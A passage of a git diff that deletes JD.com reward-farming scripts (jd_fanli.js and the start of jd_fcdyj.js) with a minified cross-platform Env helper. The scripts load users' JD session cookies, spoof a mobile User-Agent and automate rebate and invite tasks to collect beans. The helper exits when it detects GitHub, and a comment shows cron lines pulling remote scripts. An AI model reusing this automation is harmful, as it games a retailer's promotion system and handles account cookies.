this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_fanli.js b/jd_fanli.js deleted file mode 100644 index d2058deab..000000000 --- a/jd_fanli.js +++ /dev/null @@ -1,327 +0,0 @@ -/* -京东饭粒 -长期活动,结束时间未知! - */ -const $ = new Env('京东饭粒'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = '',personMessage=''; - -let lz_cookie = {} - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - if ($.runOut) - break; - $.hasGet = 0; - cookie = cookiesArr[i]; - originCookie = cookiesArr[i]; - newCookie = ''; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await getTaskFinishCount(cookiesArr[i]) - await $.wait(2000) - if ($.count.finishCount < $.count.maxTaskCount) { - - let range = $.count.maxTaskCount - $.count.finishCount; - await getTaskList(cookie) - await $.wait(2000) - var CountDoTask =0; - for (let k in $.taskList) { - if ($.taskList[k].taskId !== null && $.taskList[k].statusName != "活动结束" && $.taskList[k].statusName != "明日再来") { - CountDoTask+=0; - console.log(`开始尝试活动:` + $.taskList[k].taskName); - await saveTaskRecord(cookie, $.taskList[k].taskId, $.taskList[k].businessId, $.taskList[k].taskType); - if ($.sendBody) { - await $.wait(Number($.taskList[k].watchTime) * 1300); - await saveTaskRecord1(cookie, $.taskList[k].taskId, $.taskList[k].businessId, $.taskList[k].taskType, $.sendBody.uid, $.sendBody.tt); - } else { - continue; - } - if ($.count.finishCount == $.count.maxTaskCount) { - console.log(`任务全部完成!`); - break; - } - } - - } - } else { - console.log("任务已做完") - } - - } - } - -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function saveTaskRecord(ck,taskId,businessId,taskType) { - let opt = { - url: `https://ifanli.m.jd.com/rebateapi/task/saveTaskRecord`, - headers: { - "Host": "ifanli.m.jd.com", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "Cache-Control": "no-cache", - "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 JDFanli/2.0.20 jd.fanli/2.0.20', - // "Sec-Fetch-Mode": "cors", - "X-Requested-With": "com.jingdong.app.mall", - "Sec-Fetch-Site": "same-origin", - "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": ck, - "Content-Type": "application/json;charset=UTF-8" - }, - body : JSON.stringify({ taskId: taskId,businessId:businessId, taskType: taskType }), - - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - // console.log(data) - if (data) { - data = JSON.parse(data); - // console.log(data,"获取id") - if(data.content){ - $.sendBody = data.content - } - else{ - console.log("未获取到活动内容,开始下一个") - } - - - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - // console.log(error) - } finally { - resolve(); - } - }) - }) -} - -function saveTaskRecord1(ck,taskId,businessId,taskType,uid,tt) { - let opt = { - url: `https://ifanli.m.jd.com/rebateapi/task/saveTaskRecord`, - headers: { - "Host": "ifanli.m.jd.com", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "Cache-Control": "no-cache", - "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 JDFanli/2.0.20 jd.fanli/2.0.20', - // "Sec-Fetch-Mode": "cors", - "X-Requested-With": "com.jingdong.app.mall", - "Sec-Fetch-Site": "same-origin", - "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": ck, - "Content-Type": "application/json;charset=UTF-8" - }, - body : JSON.stringify({ taskId: taskId, taskType: taskType,businessId:businessId,uid:uid,tt:tt }), - - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.content) { - if (data.content.status == 1 && data.content.beans > 0) - $.count.finishCount += 1; - console.log("浏览结果", data.content.msg); - } else - console.log("结果", data); - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - // console.log(error) - } finally { - resolve(); - } - }) - }) -} - -function getTaskFinishCount(ck) { - return new Promise(resolve => { - const options = { - url:'https://ifanli.m.jd.com/rebateapi/task/getTaskFinishCount', - headers: { - "Host": "ifanli.m.jd.com", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "Cache-Control": "no-cache", - "User-Agent": $.UA, - "Sec-Fetch-Mode": "cors", - "X-Requested-With": "com.jingdong.app.mall", - "Sec-Fetch-Site": "same-origin", - "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": ck, - "Content-Type": "application/json;charset=UTF-8" - }, - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data){ - data = JSON.parse(data) - // console.log(data) - console.log("已完成次数:"+data.content.finishCount+" 总任务次数:"+data.content.maxTaskCount) - $.count=data.content - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getTaskList(ck) { - return new Promise(resolve => { - const options = { - url:'https://ifanli.m.jd.com/rebateapi/task/getTaskList', - headers: { - "Host": "ifanli.m.jd.com", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "Cache-Control": "no-cache", - "User-Agent": $.UA, - "Sec-Fetch-Mode": "cors", - "X-Requested-With": "com.jingdong.app.mall", - "Sec-Fetch-Site": "same-origin", - "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": ck, - "Content-Type": "application/json;charset=UTF-8" - }, - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data){ - data = JSON.parse(data) - // console.log(data,"活动列表") - if(data.content){ - $.taskList=data.content - } - else{ - console.log("未获取到活动列表,请检查活动") - } - - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - 'User-Agent': $.UA, - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_fcdyj.js b/jd_fcdyj.js deleted file mode 100644 index 53bec6981..000000000 --- a/jd_fcdyj.js +++ /dev/null @@ -1,353 +0,0 @@ -/* -活动入口: 京东极速版-我的-发财大赢家 - * / - * 基于温某人大佬的脚本修改 - * 助力逻辑:优先助力互助码环境变量,中午10点之后再给我助力 - * TG交流群:https://t.me/jd_zero205 - * TG通知频道:https://t.me/jd_zero205_tz - * / -https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#发财大赢家 -1 6-22/3 * * * https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "1 6-22/3 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js tag=翻翻乐 - -===============Surge================= -发财大赢家 = type=cron,cronexp="1 6-22/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js - -============小火箭========= -发财大赢家 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, cronexpr="1 6-22/3 * * *", timeout=3600, enable=true - */ -const $ = new Env('发财大赢家助力'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const dyjCode = $.isNode() ? (process.env.dyjCode ? process.env.dyjCode : null) : null //邀请码变量,不支持多账号,格式:redEnvelopeId@markedPin -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = `https://api.m.jd.com`; -!(async () => { - if 